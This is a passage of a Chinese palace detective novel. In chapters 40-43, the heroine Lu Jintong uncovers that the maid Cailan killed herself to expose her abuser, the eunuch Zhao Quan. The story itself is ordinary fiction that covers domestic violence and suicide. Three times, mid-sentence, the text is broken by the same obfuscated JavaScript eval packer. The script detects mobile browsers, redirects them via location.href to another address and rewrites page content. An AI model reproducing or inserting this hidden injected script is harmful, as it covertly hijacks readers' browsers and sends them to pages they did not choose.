“你!”尖脸少女没想到路锦瞳会这么干脆的拒绝,她以为在太后娘娘的宫中,路锦瞳会愿意接下这种容易被夸奖的事由呢,届时如果她查不出真相,那之前做的也都白费了。她等着路锦瞳出糗,却没想到她居然根本不接。 “况且,”路锦瞳话锋一转,“就算是要查清真相,那也应该是我自己请命,用得着你?” 她向门口来传话的宫女扬脸一笑:“请去请宫人吧,顺便通报娘娘一声,我也想一起了解一下,学习学习。” 正好她对古代的作案手法了解的不多,能多参与一桩是一桩,学到就是赚到。只是不能扬言一定会破,出门在外还是谦虚一点好,说成学习还算不耻下问呢,不要轻易装b,装b遭雷劈啊! 有人跟着宫女离开去寻太后,还有些比较好奇路锦瞳是怎么办案的, 没有手套,路锦瞳只能用手帕将手包住,上下验看。尸体体温犹在,口唇湿润,尸斑甚至还未出现,想来是刚死不久,她叫来一个宫女:“在我们来之前,这殿中是做什么用的?都有谁在里面?” 宫女道:“回姑娘,在各位姑娘来之前,方才殿中只有采兰一人。奴婢几个原本是在收拾偏殿的,采兰手慢,一直都没有做完,外头又下了雨,奴婢们怕姑娘在外受凉,便赶忙取了伞出去迎,就将她一个人留在殿中了。” “那这期间可有人进来过?或者说你们有没有看到有人进来?”路锦瞳问。 几个宫女对视一眼,皆是摇头。 再深的路锦瞳就不会看了,她毕竟不是法医,只跟着学了点皮毛,再深的就不会了。致死伤明显,差不多能清楚采兰的死因,她便转头从采兰身上找起了线索。 “这个横梁你们有擦过么?”路锦瞳问。 “回姑娘,一般不擦,”宫女道,“横梁太高了,我们上不去,也没人敢上去,陛下恩准每逢过年擦上一回就行,所以今日的打扫中并不包含横梁。” 40. 第 40 章 难道是凶手在杀人之后把人扔上横梁的么?可因为贵女们要在后花园待着的缘故,今天下午是不允许任何男人进来的,包括内监也不成,说明这里只有女子,可既然只有女子,又是如何做到把人运上那么高的横梁呢? 路锦瞳俯身在采兰身上翻找,又发现了在腹部的一个伤处,这处伤相较心口那里就要细小一些了,其中刺着一柄小指粗的一把小刀,上面和腰带处还沾了碎屑,丝丝缕缕的。路锦瞳捏起来看了看,发觉这像是麻绳,难道是绳子捆着采兰的腰,将她拽上去的么?那腹部这把小刀的作用又是什么,割断绳子? 路锦瞳扯了扯衣服,果然见布料被割开不少,不仅仅是那么细的小口子,她透过缝隙看进去,发现腹部的那道伤口也跟着拉长了好多,与衣服的破口几乎相同长度。 这么说来可能性很大,路锦瞳按按尸体的肚腹。绳子拉紧尸体,在向上拉收紧时正好与刀锋对上,便被拖着一路划上去,最后刀卡在了肋骨处,无法再前进了,于是刀锋便抵住绳索,将其割断,于是尸体落在了横梁上,绳子则消失。 如果要这么说的话,那应该有机关才是,路锦瞳起身,吩咐道:“有能上横梁的梯子么?麻烦搬过来,我要上去。” 她真的很后悔没有把慕柏带过来,反正慕柏本身就是个姑娘家,换成女装也没什么关系,要是她在的话,起码能用轻功带她“起飞”,这样就不用爬梯子了。横梁的这个高度在没有任何安全措施的情况下即便是路锦瞳也有点发怵,但她不上去的话还有谁能上去呢?这么多娇滴滴的姑娘家,可别摔出个好歹来。 竹月吓了一跳:“小姐,你要上去么?要不等人来?你一个人太危险了,那么高,万一摔下来怎么办?” “是啊,”楚知微也过来劝,“太危险了,要不等” “摔不下来,放心吧,我又不恐高,平衡力还行。”路锦瞳摆摆手,安抚她。她想看的更细一点,万一宫人来了不许她看怎么办?有些东西只有自己看了才能分析出来,再说了,她以前也曾爬过九楼救人,在窗外空调箱上踩,扶着楼房一步步挪,这片横梁不过是没有能扶着的东西而已,她不怕。 梯子很快搬过来,几个宫女合力扶着将其撑在横梁上,竹月担忧道:“这个梯子结实么?我家小姐不会有事吧?” “没事的,”宫女说,“有好几个太监都上去过,没人掉下来过。” 就算是掉下来了也没有人会在意,宫里每天都在死人,不过是死了个太监而已,谁会去在意?路锦瞳也正是但担忧这个,才一定要上去,倘若宫人来了草草结案怎么办,毕竟死的只是一个宫女,他们那么忙,哪有时间查清楚一个宫女的死因。 不是她怀疑这些人的工作能力,而是在古代下人的命不是命,没有人会在繁忙中肯抽出空来管蝼蚁的死活,宫里的人除了妃子和皇上之外都是蝼蚁,可蝼蚁也分高低,高阶的也会看不起低阶的。 竹月和楚知微都怕她掉下来,连叫了好几个宫女帮忙扶着梯子,还让人去拿厚实一点的毯子往地上铺几层,防止万一她真的摔下来没有防护。 路锦瞳前半段迈的小心翼翼,主要是检测一下梯子的质量,好在这个做工比较结实,直到上了一半,梯子都没有晃动的感觉,她便彻底放了心,剩下的路程加快速度。 横梁较宽,她在众人提心吊胆的目光中爬上去,果然沾了一手的灰,并且在不远处,刚刚采兰尸体的地方沾满血迹,灰也被衣衫擦去大半。 她往前手脚并用的爬了爬,在靠近血迹的地方稳住身形,然后撑着横梁在上面缓缓站直身子。 即便是她胆子够大,但站在这么高的地方,手边还没有个能扶着的东西,路锦瞳也还是有些心慌,脚底发麻,手指也发凉。她深深呼吸一下,将跳得有些快的心脏努力稳了稳,尽量不看下面的情况,抬头往上面那个木梁看去。 好在原身的身高可以,木梁比横梁还要高出一截,她这个个子站直了正好能看见对面的情形,果然瞧见那截木头上有一个深深的勒痕,只是仍然没有绳子。 这处横梁离窗户较近,而窗外就是她们方才进来时的路,路锦瞳记得清楚,她并没有在屋外看到过绳子啊,莫非是被凶手收走了? 竹月不在上面,却如同也跟着她走了一遭似的,她脖子仰的都要断了,手冷的发麻,仍是坚持瞧着,忍不住道:“小姐,看完了么?看完了就快下来吧。” “这就来了。”路锦瞳答应着,她也待不下去了,即便是一直给自己心理暗示说没事没事,可身体总是背叛心理,她脚麻的要站不住了。 下去比上来要难些,路锦瞳缓缓蹲下,下面的人已经很有眼力见的把梯子挪了个地方,她伸出一条腿,使了些力气,感觉够稳当了才下另一条,总算是慢悠悠下来了。 竹月心头一颗大石可算是落了地,连忙上去扶人:“坐着休息会儿吧小姐。” 路锦瞳却摆摆手,她绕过采兰的尸体,在门口看热闹的姑娘们也自动给她让出一条路来,她出了屋子,在窗沿上发现了勒痕,却没找到绳子。 窗下倒是有一处湿润,在土色的地上格外显眼,路锦瞳凑近看了看,发现在水渍的周围,还有一些细细的碎屑,她伸出手指捻了捻,又放在鼻下嗅了嗅。 闻着倒是没有什么味道,瞧着就是泥土的碎屑,同样还有绳子的丝丝缕缕。路锦瞳蹲在原地看了半晌,这一定是个延时装置,不然案发现场怎么可能会除了采兰外再没有旁人了呢?总不能是她自杀然后把自己挂上去的吧?这肯定不可能,如果真是这样,那绳子去哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240029|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿了?屋外连个池子或者草丛都没有,绳子怎么会莫名失踪呢? 路锦瞳又在周围转了一圈,针对草丛以及隐蔽的地方看了个遍,都没找到绳子在哪。她到现在都没有想到凶手的延时装置究竟是什么,虽然窗下有水渍和尘土及麻绳碎屑的误导,可她并不觉得凶手是用冰块来做的,能将一个人拉上横梁的那得是多大的冰块,古代冰块很难得,特别是皇宫,冰块都有专门的冰库储存,更别说在深秋这个时候冰块早就用差不多了,就算真的要用到冰,那么大的量肯定会有记录,那不是一查就能查得出么? 凶手这样又是为了什么呢?他想栽赃到谁的头上去?路锦瞳突然开拓了新的思路,如果她真的按照凶手想要引导她的方式去查,是否就能大致圈出嫌疑人范围呢? 她这么想着,便有宫女带着几个女子进来,她道:“路姑娘,这几位是慎刑司的嬷嬷,她们是来查案的。” 慎刑司的查案么?路锦瞳因着电视剧的缘故,对慎刑司了解只有一个“刑”字,她也不想就此罢手,便道:“几位嬷嬷,不如我跟着你们一起?咱们互通一下想法,案子也能尽快查出。” 为首的嬷嬷板着脸,目光斜斜的扫过来:“路家姑娘是吧,我听说过你,但我得提醒你一下,好歹是个姑娘家,少掺和进这种事情里面来,免得给你父母丢人。” 路锦瞳的父母只是做生意的,在这个时代做生意的就是不被人看得起,哪怕他们做得很好,家里也很有钱,但在这边,首富在别人眼里的含金量并不高。 路锦瞳真的很不理解为什么这些人这么喜欢拿父母说事,之前她抓小偷偷钱包,路边看热闹的会说路家父母没管好她,现在她只是想把采兰的案件查个水落石出,想要一起参与一下而已,又牵连到父母头上去了。 她有点不高兴:“嬷嬷若是不愿意直说便好,不必带上我的父母,我做什么都与他们没有关系,更何况,我爹娘很支持我做这些,丢不丢人的,就不劳您费心了,我们都没有觉得这些有什么好丢人的,体体面面做事,为死者伸冤,应该感到骄傲才是。” 说到这里,她挺直了背,她就是感到骄傲和高兴,为自己的职业,也为路家夫妇,他们能抛开世俗观念支持她理解她有多不容易,这可是相当于和整个封建时代对抗,走到哪里都要被人指指点点的。 路家父母是外出做生意的,见到的人肯定比她还要多,那么遇见借此事情议论路锦瞳的更多,他们什么都没有说,没有逼她停止,也没有让她不许再做这些在家好好学这个地方女人该学的东西,反而还藏着不肯告诉她,生怕因为这些事情让她不开心,或者被干扰到。陆绾为了她查案还将她走遍全国画出的地图贡献出来,偶尔还与她谈论案情,给她新的思路,有这样的父母,她当然要骄傲。 41. 第 41 章 “我说嬷嬷,你管她干什么?”说话的是林清如,她好像已经从方才的惊吓中缓过神来了,毕竟也是大宅中长大的姑娘,怎么可能没见过血腥,或许是没见过以这般姿态死在她面前的人,才会被吓成这样。她重新抱臂,哼道:“人家可能耐了,前些日子破了宋云知的案子,现在又在查五年前的悬案,还是和四殿下一起,厉害得很呢。” 她向前走了两步,道:“不过呢,再大的能耐,那也都是她自己说的,我们又没有亲眼见过,谁知道她是不是吹牛。正好今日机会来了,不如嬷嬷你们查着,让她也查着,看看谁更快,能早些查出真相,也让我们瞧瞧她的能力,省得都是四殿下和大理寺的人出了力,被她抢了功劳,诸位说是么?” 她向周围的贵女们打了个眼色,她们便纷纷点头,应和道:“就是啊,谁知道她是不是故意装的,究竟有没有本领,还得展示出来我们才肯相信。” 路锦瞳对上她的眼睛,心神领会,佯装大怒:“你胡说八道什么?案子……我当然除了不少力!你少血口喷人了!何必这么针对我?我不要和你们在一起了。” 说罢她转身欲走,可她方才那番模样已经很明显的表达出来了心虚,那几个嬷嬷刚刚不在这里,并没有看到她爬上爬下的寻找线索,自然认为她是在说谎,怕真的让她上手了会露出破绽,这样之前费心费力编出和四殿下一同查案的谎言不攻自破,所以一听要让她单独一人查案便乱了阵脚。 嬷嬷们更瞧不起她了,本以为有点真本事,只是不守妇德,没想到居然混在其中浑水摸鱼,妄图拿别人的劳动成果来给自己脸上贴金。她们怎么可能放过戳穿她的机会,连忙道:“等等,路姑娘,别急着走啊,既然林姑娘这么建议,那我们不如试试?正好也让我们这些老婆子瞧瞧,破了丞相千金案的人才能力如何。” 路锦瞳回头,见几个嬷嬷不动声色的将她围了起来,免得她逃脱。便只好装作羞愤的样子道:“你们……你们太欺负人了!” 林清如火上浇油:“是你自己夸大其词的,也不是我们逼你,见证实力的时候到了。” 楚知微便也站出来,给了她个台阶下:“姐姐,既然如此,那你便试试吧。” 路锦瞳心里简直要乐开花了,可还得继续装,她努力把翘起的嘴角压下去,装出不忿来:“试试就试试,告诉你们,我可就只是试试!” 她这话在嬷嬷们眼中只是嘴硬罢了,都没将她放在眼里。为首的嬷嬷道:“也别说我们仗着人多欺负你,你挑几个和我们人数一样的宫女吧,让她们辅助你。” 虽是这么说,但差别还是在的,她身边那几位嬷嬷都是有经验的老人了,宫女们也就是每日伺候贵人,哪里会这些。不过路锦瞳倒是不怕,有的时候破案并不需要有经验,辅助人群对案发地点熟悉也足够,这样能让她查案的过程中省去不少时间。 路锦瞳思来想去,决定选这几个就近的,既然都是和采兰一起干活的,肯定跟她更熟悉。她打发了一个宫女去查看冰库最近的使用量,以及要冰人员的记录,便让剩下的宫女排好队,她一个一个叫进屋里询问。 问了一圈下来,也就是女孩子家们那点事,互相挤兑,关系好的不好的分个派别,不过采兰的人缘意外的不好,宫女们都说她和内监拉拉扯扯,她们比较嫌弃内监,自然也连与之有关的宫女也一同看不上。 她们几乎每个人都是这样的态度,若是只有几个那还正常,可所有人都是这样就有点奇怪了。据路锦瞳的经验来看,很少会有人把恶意显露的那么明显,哪怕真有人纯恶,一般也都很会装,决定不会把嫌弃就那么明显的表现出来,至多是在说完后会加上一句“我倒是觉得无所谓,可是大家都不理她,我不能当另类”什么的。 可差不多所有的宫女,都是同样的说辞,就好像之前排练好了似的,要真是这样的话,大家都不喜欢她,那岂不是所有的人都有害她的嫌疑? 她怕她们彼此之间会串供,专门拜托楚知微和竹月一起,把每个人都分隔开来问,三个人一起速度快,可最后一起总结的时候,说辞居然都是一样的。 该不会她们早就知道采兰会死,在路锦瞳提问之前就已经串供好了吧。她脑中突然蹦出这么一个想法来,随即后背满是冷汗。 如果真的是这样的话,那她肯定是什么都问不出来的,能让所有人一起隐瞒的,必然是大事件,莫非杀死采兰的是个很厉害的宫女,没有人能惹得起她,否则便要一直被针对,为了保住自己,她们才什么都不敢说? 看来还是得问一下别宫里的宫女,不能只问这一些,路锦瞳想。去冰库查记录的宫女还没回来,她便起身,准备先去采兰的房间看看,也许能找到什么线索。 宫女们都是住大通铺的,和锦绣布纺的差不多,每人一个柜子放自己的东西,给她带路的宫女指出采兰的床铺和柜子就要退下,路锦瞳将她叫住:“先别急着走,你不是和她住同一间么,应该很了解,若我找到了什么东西,也能问问你从哪里来的。” 宫女眸光闪烁了一下:“是。” 路锦瞳先爬上床,将被褥卷起来仔细查看,又把枕头里里外外摸了个遍,都没有摸到什么东西。她弯腰敲了敲床板,好吧,实心的,应该没有什么小角落可以藏东西。 床上什么都没有,就只能去柜子里找了,宫女没有采兰的钥匙,刚要找人去从尸体上摸,路锦瞳就已经用钗子光速打开了。尸体还放在偏殿中,那群嬷嬷应该已经找人搬走了,也将身体上的东西都翻了个遍,现在返回去拿钥匙肯定来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256137|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定已经到了那些嬷嬷的手中,她们现在是竞争关系,谁知道会不会叫她看,就算是看,也不会让她先看,别到时候她们翻得一团乱,她什么都找不到了,还是先拿出看家本领吧。 采兰的柜子相对朴素,就几件宫里的工装,还有一点点首饰和挂饰,除此之外就没有什么了。路锦瞳不太能看得懂这些东西的质量,更不知道贵不贵,是不是宫女能用的,只好拉来楚知微来一起瞧瞧。 楚知微认真看了看,随后道:“其他的都很正常,就是这支簪子比较贵重,一支要十两银子,不像是宫女能买得起的。” 一两银子够平常人家用至多一年了,宫女一月的月例也就一两,就算偶有贵人打赏,那加起来也不会很多,方才问起那些宫女的时候,她们说采兰每月得往家里寄钱,她家很穷,弟弟还生了重病,每月都要花很多钱去买药,所以她总是扣扣嗖嗖的,从不舍得花钱打扮自己,或是为自己买点什么东西。 那这个簪子……路锦瞳转向宫女:“这个簪子,是不是就是你们说的,那个和采兰对食的内监送的?” 宫女垂眼:“回姑娘,是的。” 路锦瞳皱起眉头来,看看采兰自己的那几枚珠花,又看看手中的簪子。 她又道:“那个太监和采兰的关系怎么样?是真心对她好的么?” 宫女似乎是咬了咬牙:“当然,赵公公是皇上身边的太监,怎么可能会不喜欢采兰。” 皇上身边的啊,难怪了,能送出这么贵重的首饰。 但路锦瞳还是觉得不对,如果说他们是两情相悦,那在问宫女的时候为什么说的只有赵公公喜欢采兰,而未说采兰也同样心仪赵公公呢?再说了,属于采兰的几样东西都被好好的包在帕子中,虽廉价普通,摆明了是爱惜的,反倒是赵公公所送的簪子,被她随意的搁在柜子里,都不愿意和自己常用的那些摆在一块,怎么看怎么嫌弃。 该不会这段感情是赵公公的一厢情愿吧,采兰并不愿意,可也没法拒绝,因为赵公公毕竟是皇上身边的人,不仅有威望,还很有权力。 方才她也看到了采兰的尸体,这姑娘确实长得好好看,被看重样貌也很正常。 难道采兰是被赵公公杀的?因为赵公公喜欢她,她却不愿意,所以赵公公由爱生恨,一不做二不休将她杀了,反正以他的身份,就算查出来也没人敢得罪。 可是今日不是因为女眷来后花园的缘故,不允许任何男人及内监进出么?采兰的尸体特征明显是刚死不久,赵公公是怎么进来又悄无声息离开的?因为今日众多贵女都在,伺候的人是绝对不能少的,那他是怎么避开众多耳目杀掉采兰的呢? 难道也是像朱允怀去找宋云衡那样,因为身份够高,所以买通了下人,不让他们说出去? 42. 第 42 章 也不对啊,如果真是如此,那这些宫女被问到的时候,为什么不夸大其词的说他们两个有多相爱,反而表现的都很明显,甚至有些愤怒呢? 总不可能是她们也喜欢赵公公吧?路锦瞳觉得不太可能,据说那个公公有三十多了,宫女们都十来岁,正是花一样的年纪,怎么会都喜欢上他呢? 路锦瞳有点困惑的抓抓头,险些把竹月辛辛苦苦给扎好的头发搞乱,长脑子了,到底是哪里不对?为什么感觉无论是哪个思路都走不通呢? 到底是哪里出了差错? 她这么苦恼着,竹月领着刚刚被她打发出去到冰库找记录的宫女进来。宫女向路锦瞳行礼:“路姑娘,奴婢去问了,那边的宫人说,最近这段时间来领过大量冰的只有赵公公,因为是皇上的近身太监,就没有过多问去处,直接给了。” 原来取冰的也是赵公公,路锦瞳突然想到她之前的思路。凶手留下疑似延时装置的水渍让人怀疑是用冰块,引她去冰库调查,由此就会发现赵公公嫌疑最大,怀疑的目光自然也会放到他的头上。 仿若拨开云层,路锦瞳眼前一亮,她突然抓到思路了。 如果说这件事情就是要往赵公公头上栽呢?是不是就说得通了? 只能这么试试了,现在宫女们都统一了口径,如果硬要问也问不出什么来。路锦瞳快步向偏殿方向过去,先前审问过的那些宫女们都还在那里等着消息,在事情真相没查出来之前她们都是嫌疑人,谁也不能离开半步。 路锦瞳尚未靠近,便听得里头有人哭天抢地,宫女们的哭声串在一起,衬着屋外的大雨,天气似乎更显寒凉了.她快步进去,见几个嬷嬷正押着一名宫女要出来,后面的宫女脸上皆是眼泪,伸手要将人挽救回来,却被剩下的嬷嬷无情伸手拦住。 “怎么回事?”路锦瞳抢步进去,她看向领头的嬷嬷,“您带走她做什么?” 嬷嬷冷冷将她一瞥,道:“当然是抓人回去了,我已经调查清楚,天冬与采兰仇怨最深,自入宫以来就针锋相对寸步不让,满宫上下都知道她们彼此之间不对付,现下采兰死了,嫌疑最大的人当然是她。” 说罢她便扬首,让她们赶紧将人带出去,路锦瞳连忙到门口去堵着:“等等,嬷嬷说是她做的,可有证据?” “我将所有人都问了一遍,都不肯说出凶手是谁来,甚至回答基本相同,定然是她们统一了口径,”嬷嬷道,“而有能力让她们道出同一事实的人就只有天冬,她是一等宫女,在后花园这一片,恐怕没人敢不听她的。让开,别妨碍我办案。” 真是瞌睡了有人送枕头,得来全不费工夫啊,她刚想去找个领头的掰扯掰扯,这就送上门来了。路锦瞳眼睛一亮。 于是又将嬷嬷拦了住:“您可查过尸体,采兰身上有两种伤痕,心口那处伤口那么深,出血量极大,已经足以毙命,但腹部却还有一处伤,您不想知道凶手为什么要多此一举再刺一刀么?当时宫女们也都证明了殿中并未有人来过,您怎么能确认就是天冬呢?” 嬷嬷不耐烦了,她声音扬起:“你是在质疑我?好,你不是要证据么,我就给你证据,天冬掌中,有很深的勒痕,这就能证明是她将采兰的尸体拉上横梁的,难道这还不足以定她的罪?” 她这么说着,一边粗/暴地抓了天冬的手摊开,路锦瞳探头,果真瞧见她掌心纵横了两道痕迹,因为绳子不固定到处跑的缘故,她两只手掌都不能看了,皆是磨破的鲜血。 见着路锦瞳默然,嬷嬷再次冷声一笑招呼着人要把天冬带走,路锦瞳再次伸手去拦:“请再稍等一下。” 嬷嬷终于不耐烦了:“路小姐,你自己技不如人,就不要一直拦着老奴,您可以把案情当儿戏,老奴却是不成的,老奴先您一步查出了案子,您就别再纠缠下去了。” “我不是纠缠,只是嬷嬷既然讲究公平,且嫌疑人又不会跑,您可否再让让我?”路锦瞳道,“您叫我审一审天冬,我有些谜团还需要她来解开,用不了多少时间的。” 进了慎刑司,天冬恐怕不死也要脱层皮,她虽然不了解古代酷刑,但光电视剧里面演的她就已经受不了了,倘若天冬真的被屈打成招了,那赵公公怎么办?采兰的苦心岂不是要白费了? 她此话一出,天冬的眼睛明显一亮,看向嬷嬷的目光中满是希冀,嬷嬷眉头一皱就要拒绝,瞧了好半天的林清如又懒懒开口了:“嬷嬷,你是前辈,就让让她吧,免得她到时候没查出来还要怪你,说要不是你她肯定就能查出来什么的。她这个人烦的要命,还臭不要脸,要是真的不让让她,她能把你欺负她的事让全天下都知道了。” 路锦瞳满头黑线的看了她一眼,这听着是在帮她的忙没错,但她是不是说的太多了,她怎么觉得林清如这是在借着帮她忙的名义狠狠吐槽她呢? 只是现在没时间想这么多,路锦瞳转回头来的时候又换了张脸,写满了不甘心以及阴暗,眼珠子还贼溜溜的转,仿佛是在打什么坏主意似的。领头的嬷嬷瞧了她一眼,有些嫌恶的皱眉,但也不能说出驳人面子的话来,她可以拒绝路锦瞳,却是不敢反抗林清如的,只好很不乐意道:“那路小姐先去问吧,尽快一点,免得她想出什么脱罪的点子。” 路锦瞳连忙将天冬拉了过来:“知道了,多谢嬷嬷。” 她拉着天冬的手腕引她进屋,怕扯着她掌心的伤口还特意放慢脚步等她自己跟上。天冬坐在她对面,泪痕尤在,惊慌却没有了,反倒只剩淡然,像是松了口气的样子。 路锦瞳道:“你是不是有什么话想对我说?采兰的死与赵公公有关,是不是?” 她看着天冬有些愣怔的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283387|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,说了下去:“赵公公什么都没做吧?采兰是想用自己的死,让赵公公的真面目被发现,是不是?” 天冬阖眼,长长舒了一口气:“您猜得不错。” “采兰是自杀的。” 路锦瞳一怔。 天冬轻轻叹息摇头:“她是自杀的。我也劝不住她。” “您已经查到赵公公了吧?以您的聪明才智,一定察觉到采兰与赵公公之间的感情有异,并不如外界传言那般恩爱。”天冬说。 路锦瞳只有点头。 天冬道:“嬷嬷说的不错,奴婢和采兰是死对头,我们同一日进宫,考试前住在同一间屋子,成为宫女后也被分在同一个宫里,甚至连床铺都挨着。” 说到这里她笑了一下:“按理说我们是该成为好姐妹的,可我们都太要强了,都想着努力往上爬,等多赚些钱让家里人过好日子。我们都是自私的人,谁也见不得对方比自己更强,所以在最开始的时候,我们几乎天天和对方作对,还互相害过彼此,当然,也为此吃了不少苦头。 “我们进宫五年了,就斗了五年,前两三年那会儿斗得特别厉害,整个宫中都知道我们不对付,可我们是下人,遇不上好的主子,不能把我们调开,所以就只能将就着,天天都看对付不顺眼,连睡觉都是背对背,谁也不愿意对上对方的脸。 “后两年就好很多了,宫中是吃人的地方,比任何地方都要可怕,我们两个斗着斗着,也累了,干脆停手,各做各的,只是依然瞧不上对方,虽然不互相抬杠,但也不怎么说话。 “直到后来,她遇见了赵全,赵全权势大,即便是找了对食也没有敢说什么,纷纷祝福,外人瞧着他们似乎是真爱,赵全会送采兰许多好东西,采兰的位置也越来越高,很多人都羡慕采兰能傍上赵全这样的人物,省了多少向上爬的力气,其中嫉妒嘲笑的人不在少数。” 她叹了口气:“路小姐,您应该明白,最了解彼此的一般都是敌人,我们斗了那么多年,她的一颦一笑我都了解,遇见赵全是福还是祸,她与那人在一起究竟开不开心我是能看出来的,她并不喜欢赵全,也无法爱那样的人,只是被权势所逼没有办法,如果她拒绝,那赵全有一百种方式让她死,她家中还有父母,甚至还有病重的弟弟在等救命钱,无论如何都没有办法摆脱赵全。” 路锦瞳懂,她点点头:“既然她心中有念想,又为什么会自杀,难道是赵全对她做了什么?” 天冬点头:“姑娘说的不错,采兰起初什么都没有说,是我自己发现的。我发现她自从和赵全在一起之后就总是休息不好,眼下总是青黑,接连生病,有时干活身上都没有力气。有一次我没站稳不小心碰到了她的手臂,她反应很大,我便捋了她的袖子,发现只要是藏在衣服里面的地方,都有被赵全殴打过的痕迹。” 43. 第 43 章 路锦瞳眉头一跳,她方才掀起衣服查看采兰的伤口时的确隐隐约约看到了青紫,不过没怎么多想,毕竟这是在宫里,如果哪位贵人心情不舒坦,随便揪个宫女给上两脚宣泄情绪是常有的事,她问询的时候倒是有人说采兰最近特别倒霉,总是被各种各样的贵人找茬,就自然而然的认为伤是被主子们打的,没想到居然也有赵全的手笔。 家暴男啊,路锦瞳心头涌起怒火:“采兰和赵全成婚了么?” “没有,”天冬摇头,“只是宫中大家都知道他们两个的事情,连皇后娘娘都知道了,据娘娘的贴身侍婢说,娘娘准备为采兰和赵全赐婚,也是让宫中多添一桩喜事。” 哦,婚前家暴啊。路锦瞳心头火冒到了头上去:“你继续说。” 天冬道:“我问她怎么回事,她不肯说,我便一直追问,并扬言要告诉所有的姐妹,她迫于无奈才讲出真相。原来赵全是对她的容貌起意,只是她对赵全没有感觉,起初是想拒绝了他的,奈何赵全位高权重,宫中无人轻易敢惹他,她稍稍表示出反抗,就会有人排挤殴打,甚至月例还被无故扣掉,她的钱都是要攒起来给弟弟治病救命的,寄回家的钱变少了,她的父母就总是寄信来问,她最先时不想告诉她的爹娘,不想让他们两个老人一把年纪了还为他操心,打算自己想旁的办法。 “只是她就算是一等宫女,那也只是在后花园,赵全却是能把控差不多整个宫中下人生死的,她即便是想再久的方法,最终也没有办法,家中的信催的更紧,采兰迫于无奈写信向家中人说明情况,希望他们能再等等,等她想出一个两全其美的办法来,她实在不甘委身于赵全那样的人。” 路锦瞳看到她眼中难抑的难过与愤怒,突然有点猜到结局了。 天冬冷冷的笑了一声,眼泪从眼眶脱出:“她将自己的满腹委屈写在信中,并不指望父母能帮到什么忙,但只要他们心疼她,安慰她就够了。谁知,她父母的信件是压死她的最后一根稻草。 “信上说,做宫女就是这样的,既然给了她一副好样貌,那就要珍惜起来,能被皇上身边的人看上是荣幸,哪怕他是个太监也无所谓。他们让采兰不要那么倔,这种好事旁人想要都求不来,赵全打他也是正常,在寻常人家里,哪个男人不打女人?夫妻之间,这都是正常的,她爹也会经常打她,可这日子不都是一直坚持过下来了么?为了弟弟的病,叫她什么都忍着一点,现下忍忍,将来跟着赵全,定能过上好日子。” “什么?”路锦瞳失声道,她本以为采兰的父母就只是简单的拒绝了她,没想到还给她灌输了这样的思想,什么意思啊?什么意思啊?什么叫寻常人家男人都打女人?什么叫正常的?不管在哪里,皇宫还是百姓家,打人就是不对的,这是家暴!这些人脑子里都是什么,被打了还心甘情愿的忍着,自己忍了就算了,还要求女儿也忍,这什么脑回路! 天冬哼道:“未经他人苦莫劝他人善,采兰的母亲过了一辈子那样的生活,可她终究无法与采兰现在的处境共情,这种话自然脱口而出了。当时我听完第一反应也是气恼,就别说采兰了。 “收到那封信后她哭了一阵,第二天就打起精神去找了赵全,赵全见她答应,高兴的不得了,当晚便叫她去他房中,我不知道发生了什么,只知第二天回来采兰身上全是伤,可她却不哭,只抓紧了赵全给她的钱袋。” 天冬咬牙切齿的笑了一声:“都到这个时候了,她还惦记着给弟弟筹钱买药。” 路锦瞳的眉头一直都没有舒展过:“然后呢?” “刚开始,赵全还会偶尔赏赐她些东西,她最开始把那些东西卖了换钱,寄回家中,却不想被赵全得知后又换来一阵毒打,他不许采兰随意卖了他送的东西,要她都好好留着。赵全这个抠门鬼,也就是刚开始新鲜的时候送过一些东西了,后来就再也不送,留在采兰手里的只剩那枚簪子,姑娘应该看到了。”天冬道。 路锦瞳想到那个被随意丢在角落的簪子,点了点头。 她继续道:“之后采兰的日子就越来越难过了,她总是被赵全叫出去,一待就是一夜,据与赵全住所相近的一位宫人说,每夜他都能听到从那边传来女人的惨叫,但他不敢前去查探,怕得罪了赵全。可即便如此,采兰的月例仍旧被克扣,许多都进了赵全的腰包,家里人收不到钱,自然也写信来闹,采兰夹在其中可谓是苦不堪言。” “于是她便想自杀?再造出是赵全杀她的假象?”路锦瞳问。 天冬点点头:“不错,采兰什么法子都想尽了,她甚至想过好好做活来引得那位贵人的喜爱,这样贵人能将她带回宫中,她也好有个依仗,说不定还有可能远离赵全,只是一直都没有碰到合适的。 